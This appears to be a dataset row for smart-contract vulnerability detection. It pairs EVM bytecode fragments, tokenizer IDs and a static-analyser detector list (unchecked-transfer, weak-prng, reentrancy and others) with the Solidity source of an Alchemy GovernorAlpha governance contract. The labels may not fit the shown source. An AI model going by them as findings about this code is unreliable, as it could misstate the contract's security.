5b505050506040513d601f19601f820116820180604052506116549190810190612049565b6040518363ffffffff1660e01b815260040161167192919061240f565b602060405180830381600087803b15801561168b57600080fd5b505af115801561169f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506116c39190810190611f84565b5060405163226bf2d160e21b81526001600160a01b038316906389afcb44906116f09084906004016123a3565b6040805180830381600087803b15801561170957600080fd5b505af115801561171d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506117419190810190612067565b50505050565b60055460405163095ea7b360e01b815273ad4353347f05438ace12aef7acef6cb2b4186c009163095ea7b39161178d916001600160a01b0316906000199060040161240f565b602060405180830381600087803b1580156117a757600080fd5b505af11580156117bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506117df9190810190611f84565b506117e8611d20565b60055460405163055f575160e41b81526001600160a01b03909116906355f57510906118189030906004016123a3565b60a060405180830381600087803b15801561183257600080fd5b505af1158015611846573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061186a9190810190611fa2565b6040516370a0823160e01b815290915060009073ad4353347f05438ace12aef7acef6cb2b4186c00906370a08231906118a79030906004016123a3565b60206040518083038186803b1580156118bf57600080fd5b505afa1580156118d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506118f79190810190612049565b825151909150811061198b576005548251604051632f8d78e560e11b81526001600160a01b0390921691635f1af1ca9161193391600401612509565b602060405180830381600087803b15801561194d57600080fd5b505af1158015611961573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506119859190810190611fc0565b506102a2565b60055460408051602081019091528351516001600160a01b0390921691635f1af1ca91908190620f42409086900311156119c557846119cf565b855151620f423f19015b8152506040518263ffffffff1660e01b81526004016119ee9190612509565b602060405180830381600087803b158015611a0857600080fd5b505af1158015611a1c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506107a59190810190611fc0565b63ffffffff421690565b611a52611d61565b6000826001600160701b031611611a7b5760405162461bcd60e51b815260040161039d906124f9565b6040805160208101909152806001600160701b038416600160701b600160e01b03607087901b1681611aa957fe5b046001600160e01b0316815250905092915050565b6000805481908190611ad9906001600160a01b031682610f7d565b9150915060008060149054906101000a900463ffffffff168203905060008163ffffffff16600154850381611b0a57fe5b046001600160e01b0316905060006000196001600160c01b0316821115611b405750607081901c670de0b6b3a764000002611b50565b50670de0b6b3a7640000810260701c5b94505050505090565b6000611b778261143185670de0b6b3a764000063ffffffff611bdd16565b9392505050565b600080611b77670de0b6b3a7640000611431611ba7826611c37937e0800063ffffffff611c5616565b869063ffffffff611bdd16565b600080611b77670de0b6b3a7640000611431611ba7826611c37937e0800063ffffffff611c9816565b600082611bec575060006111bd565b82820282848281611bf957fe5b0414611b775760405162461bcd60e51b815260040161039d906124d9565b6000611b7783836040518060400160405280601a815260200179536166654d6174683a206469766973696f6e206279207a65726f60301b815250611cbd565b6000611b7783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cf4565b600082820183811015611b775760405162461bcd60e51b815260040161039d90612469565b60008183611cde5760405162461bcd60e51b815260040161039d9190612438565b506000838581611cea57fe5b0495945050505050565b60008184841115611d185760405162461bcd60e51b815260040161039d9190612438565b505050900390565b6040518060a00160405280611d33611d73565b815260200160008152602001611d47611d73565b8152602001611d54611d73565b8152602001600081525090565b60408051602081019091526000815290565b6040518060200160405280600081525090565b80356111bd81612607565b80356111bd8161261b565b80516111bd8161261b565b600082601f830112611db857600080fd5b8135611dcb611dc682612558565b612532565b91508082526020830160208301858383011115611de757600080fd5b611df28382846125c5565b50505092915050565b600060a08284031215611e0d57600080fd5b611e1760a0612532565b90506000611e258484611e7e565b8252506020611e3684848301611ec7565b6020830152506040611e4a84828501611e7e565b6040830152506060611e5e84828501611e7e565b6060830152506080611e7284828501611ec7565b60808301525092915050565b600060208284031215611e9057600080fd5b611e9a6020612532565b90506000611ea88484611ec7565b82525092915050565b80516111bd81612624565b80356111bd8161262d565b80516111bd8161262d565b80516111bd81612636565b600060208284031215611eef57600080fd5b6000611efb8484611d86565b949350505050565b60008060408385031215611f1657600080fd5b6000611f228585611d86565b9250506020611f3385828601611d91565b9150509250929050565b60008060408385031215611f5057600080fd5b6000611f5c8585611d86565b92505060208301356001600160401b03811115611f7857600080fd5b611f3385828601611da7565b600060208284031215611f9657600080fd5b6000611efb8484611d9c565b600060a08284031215611fb457600080fd5b6000611efb8484611dfb565b600060208284031215611fd257600080fd5b6000611efb8484611e7e565b600080600060608486031215611ff357600080fd5b6000611fff8686611eb1565b935050602061201086828701611eb1565b925050604061202186828701611ed2565b9150509250925092565b60006020828403121561203d57600080fd5b6000611efb8484611ebc565b60006020828403121561205b57600080fd5b6000611efb8484611ec7565b6000806040838503121561207a57600080fd5b60006120868585611ec7565b9250506020611f3385828601611ec7565b6120a081612591565b82525050565b6120a08161259c565b60006120ba8261257f565b6120c48185612583565b93506120d48185602086016125d1565b9290920192915050565b60006120e98261257f565b6120f38185612588565b93506121038185602086016125d1565b61210c816125fd565b9093019392505050565b6000612123601e83612588565b7f4f54433a204d494e5f545741505f54494d45204e4f5420454c41505345440000815260200192915050565b600061215c602183612588565b7f43756d756c617469766520707269636520736e617073686f7420746f6f206f6c8152601960fa1b602082015260400192915050565b600061219f601b83612588565b7a536166654d6174683a206164646974696f6e206f766572666c6f7760281b815260200192915050565b60006121d6600483612588565b6310b3b7bb60e11b815260200192915050565b60006121f6600c83612588565b6b2bb937b7339030b1ba34b7b760a11b815260200192915050565b600061221e600b83612588565b6a10b832b73234b733a3b7bb60a91b815260200192915050565b6000612245600f83612588565b6e4e6f7420656e6f756768205553444360881b815260200192915050565b6000612270602183612588565b7f43756d756c617469766520707269636520736e617073686f7420746f6f206e658152607760f81b602082015260400192915050565b60006122b3601d83612588565b7f4d61726b65742072617465206973206f75747369646520626f756e6473000000815260200192915050565b60006122ec602183612588565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f8152607760f81b602082015260400192915050565b600061232f601083612588565b6f1058dd1a5bdb8818dbdb5c1b195d195960821b815260200192915050565b600061235b601783612588565b764669786564506f696e743a204449565f42595f5a45524f60481b815260200192915050565b8051602083019061174184825b6120a0816125b9565b6000611b7782846120af565b602081016111bd8284612097565b604081016123bf8285612097565b611b776020830184612097565b606081016123da8286612097565b6123e76020830185612097565b611efb604083018461238e565b604081016124028285612097565b611b7760208301846120a6565b6040810161241d8285612097565b611b77602083018461238e565b602081016111bd82846120a6565b60208082528101611b7781846120de565b602080825281016111bd81612116565b602080825281016111bd8161214f565b602080825281016111bd81612192565b602080825281016111bd816121c9565b602080825281016111bd816121e9565b602080825281016111bd81612211565b602080825281016111bd81612238565b602080825281016111bd81612263565b602080825281016111bd816122a6565b602080825281016111bd816122df565b602080825281016111bd81612322565b602080825281016111bd8161234e565b602081016111bd8284612381565b604081016125258285612381565b611b776020830184612381565b6040518181016001600160401b038111828210171561255057600080fd5b604052919050565b60006001600160401b0382111561256e57600080fd5b506020601f91909101601f19160190565b5190565b919050565b90815260200190565b60006111bd826125ad565b151590565b6001600160701b031690565b6001600160a01b031690565b90565b63ffffffff1690565b82818337506000910152565b60005b838110156125ec5781810151838201526020016125d4565b838111156117415750506000910152565b601f01601f191690565b61261081612591565b8114610f7a57600080fd5b6126108161259c565b612610816125a1565b612610816125b9565b612610816125bc56fea365627a7a72315820be674cb6e2c625b8472ea3f5bf5fc0e657cfba1f2679841e9f1fcef4071e0fbc6c6578706572696d656e74616cf564736f6c634300050f0040
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2683, 11387, 2549, 2278, 23777, 10322, 2278, 2692, 2509, 2063, 2683, 16576, 2575, 2546, 17465, 16932, 17914, 2629, 2497, 2575, 2620, 2094, 2692, 16703, 2692, 2497, 21486, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 2321, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,874
0x9789D57093c66AF78C1AEb5CE19A10f963673f87
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./interfaces/ITimelock.sol"; contract AlchemyGovernorAlpha { /// @dev The name of this contract string public constant name = "Alchemy Governor Alpha"; /// @dev The voting period which will be set after setVotingPeriodAfter has passed. uint256 public constant permanentVotingPeriod = 17_280; // ~3 days in blocks (assuming 15s blocks) /** * @dev The number of votes in support of a proposal required in order for a * quorum to be reached and for a vote to succeed */ function quorumVotes() public pure returns (uint256) { return 400_000e18; // 4% of ALCH } /** * @dev The number of votes required in order for a voter to become a proposer */ function proposalThreshold() public pure returns (uint256) { return 100_000e18; // 1% of ALCH } /** * @dev The maximum number of actions that can be included in a proposal */ function proposalMaxOperations() public pure returns (uint256) { return 10; } /** * @dev The delay before voting on a proposal may take place, once proposed */ function votingDelay() public pure returns (uint256) { return 1; } /** * @dev The duration of voting on a proposal, in blocks */ uint256 public votingPeriod = 2_880; // ~12 hours in blocks (assuming 15s blocks) /** * @dev The timestamp after which votingPeriod can be set to the permanent value. */ uint256 public immutable setVotingPeriodAfter; /** * @dev The address of the Alchemy Protocol Timelock */ ITimelock public immutable timelock; /** * @dev The address of the Alchemy governance token */ AlchInterface public immutable alch; /** * @dev The total number of proposals */ uint256 public proposalCount; /** * @param id Unique id for looking up a proposal * @param proposer Creator of the proposal * @param eta The timestamp that the proposal will be available for execution, set once the vote succeeds * @param targets The ordered list of target addresses for calls to be made * @param values The ordered list of values (i.e. msg.value) to be passed to the calls to be made * @param signatures The ordered list of function signatures to be called * @param calldatas The ordered list of calldata to be passed to each call * @param startBlock The block at which voting begins: holders must delegate their votes prior to this block * @param endBlock The block at which voting ends: votes must be cast prior to this block * @param forVotes Current number of votes in favor of this proposal * @param againstVotes Current number of votes in opposition to this proposal * @param canceled Flag marking whether the proposal has been canceled * @param executed Flag marking whether the proposal has been executed * @param receipts Receipts of ballots for the entire set of voters */ struct Proposal { uint256 id; address proposer; uint256 eta; address[] targets; uint256[] values; string[] signatures; bytes[] calldatas; uint256 startBlock; uint256 endBlock; uint256 forVotes; uint256 againstVotes; bool canceled; bool executed; mapping(address => Receipt) receipts; } /** * @dev Ballot receipt record for a voter * @param hasVoted Whether or not a vote has been cast * @param support Whether or not the voter supports the proposal * @param votes The number of votes the voter had, which were cast */ struct Receipt { bool hasVoted; bool support; uint96 votes; } /** * @dev Possible states that a proposal may be in */ enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /** * @dev The official record of all proposals ever proposed */ mapping(uint256 => Proposal) public proposals; /** * @dev The latest proposal for each proposer */ mapping(address => uint256) public latestProposalIds; /** * @dev The EIP-712 typehash for the contract's domain */ bytes32 public constant DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,uint256 chainId,address verifyingContract)" ); /** * @dev The EIP-712 typehash for the ballot struct used by the contract */ bytes32 public constant BALLOT_TYPEHASH = keccak256( "Ballot(uint256 proposalId,bool support)" ); /** * @dev An event emitted when a new proposal is created */ event ProposalCreated( uint256 id, address proposer, address[] targets, uint256[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description ); /** * @dev An event emitted when a vote has been cast on a proposal */ event VoteCast( address voter, uint256 proposalId, bool support, uint256 votes ); /** * @dev An event emitted when a proposal has been canceled */ event ProposalCanceled(uint256 id); /** * @dev An event emitted when a proposal has been queued in the Timelock */ event ProposalQueued(uint256 id, uint256 eta); /** * @dev An event emitted when a proposal has been executed in the Timelock */ event ProposalExecuted(uint256 id); constructor(address timelock_, address alch_, uint256 setVotingPeriodAfter_) public { timelock = ITimelock(timelock_); alch = AlchInterface(alch_); setVotingPeriodAfter = setVotingPeriodAfter_; } /** * @dev Sets votingPeriod to the permanent value. * Can only be called after setVotingPeriodAfter */ function setPermanentVotingPeriod() external { require( block.timestamp >= setVotingPeriodAfter, "GovernorAlpha::setPermanentVotingPeriod: setting permanent voting period not allowed yet" ); votingPeriod = permanentVotingPeriod; } function propose( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description ) public returns (uint256) { require( alch.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold" ); require( targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch" ); require( targets.length != 0, "GovernorAlpha::propose: must provide actions" ); require( targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions" ); uint256 latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require( proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal" ); require( proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal" ); } uint256 startBlock = add256(block.number, votingDelay()); uint256 endBlock = add256(startBlock, votingPeriod); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated( newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description ); return newProposal.id; } function queue(uint256 proposalId) public { require( state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded" ); Proposal storage proposal = proposals[proposalId]; uint256 eta = add256(block.timestamp, timelock.delay()); for (uint256 i = 0; i < proposal.targets.length; i++) { _queueOrRevert( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta ); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) internal { require( !timelock.queuedTransactions( keccak256(abi.encode(target, value, signature, data, eta)) ), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta" ); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint256 proposalId) public payable { require( state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued" ); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint256 i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction{value:proposal.values[i]}( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalExecuted(proposalId); } function cancel(uint256 proposalId) public { ProposalState state = state(proposalId); require( state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal" ); Proposal storage proposal = proposals[proposalId]; require( alch.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold" ); proposal.canceled = true; for (uint256 i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalCanceled(proposalId); } function getActions(uint256 proposalId) public view returns ( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas ) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint256 proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint256 proposalId) public view returns (ProposalState) { require( proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id" ); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if ( proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes() ) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if ( block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD()) ) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint256 proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig( uint256 proposalId, bool support, uint8 v, bytes32 r, bytes32 s ) public { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode(BALLOT_TYPEHASH, proposalId, support) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); address signatory = ecrecover(digest, v, r, s); require( signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature" ); return _castVote(signatory, proposalId, support); } function _castVote( address voter, uint256 proposalId, bool support ) internal { require( state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed" ); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require( receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted" ); uint96 votes = alch.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function add256(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "subtraction underflow"); return a - b; } function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } interface AlchInterface { function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface ITimelock { event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint256 indexed newDelay); event CancelTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); event ExecuteTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); event QueueTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); function GRACE_PERIOD() external pure returns (uint256); function MINIMUM_DELAY() external pure returns (uint256); function MAXIMUM_DELAY() external pure returns (uint256); function admin() external view returns (address); function pendingAdmin() external view returns (address); function delay() external view returns (uint256); function queuedTransactions(bytes32) external view returns (bool); function setDelay(uint256 delay_) external; function acceptAdmin() external; function setPendingAdmin(address pendingAdmin_) external; function queueTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external returns (bytes32); function cancelTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external; function executeTransaction( address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta ) external payable returns (bytes memory); }
0x6080604052600436106101665760003560e01c80634634c61f116100d1578063da35c6641161008a578063deaaa7cc11610064578063deaaa7cc1461053b578063e23a9a5214610566578063ec1e0e03146105a3578063fe0d94c1146105ce57610166565b8063da35c664146104aa578063da95691a146104d5578063ddf0b0091461051257610166565b80634634c61f146103be57806349aa94fd146103e75780637bdbe4d0146104125780637fd9a8571461043d578063b58131b014610454578063d33219b41461047f57610166565b806320606b701161012357806320606b701461029757806324bc1a64146102c2578063328dd982146102ed5780633932abb11461032d5780633e4f49e61461035857806340e58ee51461039557610166565b8063013cf08b1461016b57806302a251a3146101b057806306fdde03146101db57806315373e3d1461020657806317977c611461022f5780631a5b534e1461026c575b600080fd5b34801561017757600080fd5b50610192600480360381019061018d9190612d73565b6105ea565b6040516101a7999897969594939291906143b4565b60405180910390f35b3480156101bc57600080fd5b506101c5610672565b6040516101d291906142e9565b60405180910390f35b3480156101e757600080fd5b506101f0610678565b6040516101fd919061406c565b60405180910390f35b34801561021257600080fd5b5061022d60048036038101906102289190612e01565b6106b1565b005b34801561023b57600080fd5b5061025660048036038101906102519190612bc8565b6106c0565b60405161026391906142e9565b60405180910390f35b34801561027857600080fd5b506102816106d8565b60405161028e91906142e9565b60405180910390f35b3480156102a357600080fd5b506102ac6106fc565b6040516102b99190613f3f565b60405180910390f35b3480156102ce57600080fd5b506102d7610713565b6040516102e491906142e9565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f9190612d73565b610725565b6040516103249493929190613ede565b60405180910390f35b34801561033957600080fd5b50610342610a02565b60405161034f91906142e9565b60405180910390f35b34801561036457600080fd5b5061037f600480360381019061037a9190612d73565b610a0b565b60405161038c9190614051565b60405180910390f35b3480156103a157600080fd5b506103bc60048036038101906103b79190612d73565b610bee565b005b3480156103ca57600080fd5b506103e560048036038101906103e09190612e3d565b610f2f565b005b3480156103f357600080fd5b506103fc6110fe565b604051610409919061401b565b60405180910390f35b34801561041e57600080fd5b50610427611122565b60405161043491906142e9565b60405180910390f35b34801561044957600080fd5b5061045261112b565b005b34801561046057600080fd5b50610469611199565b60405161047691906142e9565b60405180910390f35b34801561048b57600080fd5b506104946111ab565b6040516104a19190614036565b60405180910390f35b3480156104b657600080fd5b506104bf6111cf565b6040516104cc91906142e9565b60405180910390f35b3480156104e157600080fd5b506104fc60048036038101906104f79190612bf1565b6111d5565b60405161050991906142e9565b60405180910390f35b34801561051e57600080fd5b5061053960048036038101906105349190612d73565b61179b565b005b34801561054757600080fd5b50610550611ae9565b60405161055d9190613f3f565b60405180910390f35b34801561057257600080fd5b5061058d60048036038101906105889190612dc5565b611b00565b60405161059a91906142ce565b60405180910390f35b3480156105af57600080fd5b506105b8611be2565b6040516105c591906142e9565b60405180910390f35b6105e860048036038101906105e39190612d73565b611be8565b005b60026020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600201549080600701549080600801549080600901549080600a01549080600b0160009054906101000a900460ff169080600b0160019054906101000a900460ff16905089565b60005481565b6040518060400160405280601681526020017f416c6368656d7920476f7665726e6f7220416c7068610000000000000000000081525081565b6106bc338383611e34565b5050565b60036020528060005260406000206000915090505481565b7f000000000000000000000000000000000000000000000000000000006071ba2081565b60405161070890613d5b565b604051809103902081565b60006954b40b1f852bda000000905090565b606080606080600060026000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156107d357602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610789575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561082557602002820191906000526020600020905b815481526020019060010190808311610811575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b82821015610909578382906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108f55780601f106108ca576101008083540402835291602001916108f5565b820191906000526020600020905b8154815290600101906020018083116108d857829003601f168201915b50505050508152602001906001019061084d565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156109ec578382906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109d85780601f106109ad576101008083540402835291602001916109d8565b820191906000526020600020905b8154815290600101906020018083116109bb57829003601f168201915b505050505081526020019060010190610930565b5050505090509450945094509450509193509193565b60006001905090565b60008160015410158015610a1f5750600082115b610a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a55906140ee565b60405180910390fd5b600060026000848152602001908152602001600020905080600b0160009054906101000a900460ff1615610a96576002915050610be9565b80600701544311610aab576000915050610be9565b80600801544311610ac0576001915050610be9565b80600a01548160090154111580610ae15750610ada610713565b8160090154105b15610af0576003915050610be9565b600081600201541415610b07576004915050610be9565b80600b0160019054906101000a900460ff1615610b28576007915050610be9565b610bd381600201547f000000000000000000000000ca2b3cf3989e70813719ac7703daf4b14f46b37773ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610b9657600080fd5b505afa158015610baa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bce9190612d9c565b612101565b4210610be3576006915050610be9565b60059150505b919050565b6000610bf982610a0b565b9050600780811115610c0757fe5b816007811115610c1357fe5b1415610c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4b9061426e565b60405180910390fd5b6000600260008481526020019081526020016000209050610c73611199565b7f0000000000000000000000000000a1c00009a619684135b824ba02f7fbf3a57273ffffffffffffffffffffffffffffffffffffffff1663782d6fe18360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cdf436001612156565b6040518363ffffffff1660e01b8152600401610cfc929190613dae565b60206040518083038186803b158015610d1457600080fd5b505afa158015610d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4c9190612eb4565b6bffffffffffffffffffffffff1610610d9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d91906141ae565b60405180910390fd5b600181600b0160006101000a81548160ff02191690831515021790555060008090505b8160030180549050811015610ef2577f000000000000000000000000ca2b3cf3989e70813719ac7703daf4b14f46b37773ffffffffffffffffffffffffffffffffffffffff1663591fcdfe836003018381548110610e1757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846004018481548110610e5157fe5b9060005260206000200154856005018581548110610e6b57fe5b90600052602060002001866006018681548110610e8457fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610eb3959493929190613e7d565b600060405180830381600087803b158015610ecd57600080fd5b505af1158015610ee1573d6000803e3d6000fd5b505050508080600101915050610dbd565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610f2291906142e9565b60405180910390a1505050565b6000604051610f3d90613d5b565b60405180910390206040518060400160405280601681526020017f416c6368656d7920476f7665726e6f7220416c7068610000000000000000000081525080519060200120610f8a6121a6565b30604051602001610f9e9493929190613f5a565b6040516020818303038152906040528051906020012090506000604051610fc490613d70565b60405180910390208787604051602001610fe093929190613f9f565b6040516020818303038152906040528051906020012090506000828260405160200161100d929190613d24565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161104a9493929190613fd6565b6020604051602081039080840390855afa15801561106c573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110df9061422e565b60405180910390fd5b6110f3818a8a611e34565b505050505050505050565b7f0000000000000000000000000000a1c00009a619684135b824ba02f7fbf3a57281565b6000600a905090565b7f000000000000000000000000000000000000000000000000000000006071ba2042101561118e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611185906140ce565b60405180910390fd5b614380600081905550565b600069152d02c7e14af6800000905090565b7f000000000000000000000000ca2b3cf3989e70813719ac7703daf4b14f46b37781565b60015481565b60006111df611199565b7f0000000000000000000000000000a1c00009a619684135b824ba02f7fbf3a57273ffffffffffffffffffffffffffffffffffffffff1663782d6fe133611227436001612156565b6040518363ffffffff1660e01b8152600401611244929190613d85565b60206040518083038186803b15801561125c57600080fd5b505afa158015611270573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112949190612eb4565b6bffffffffffffffffffffffff16116112e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d99061420e565b60405180910390fd5b845186511480156112f4575083518651145b8015611301575082518651145b611340576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113379061418e565b60405180910390fd5b6000865114156113855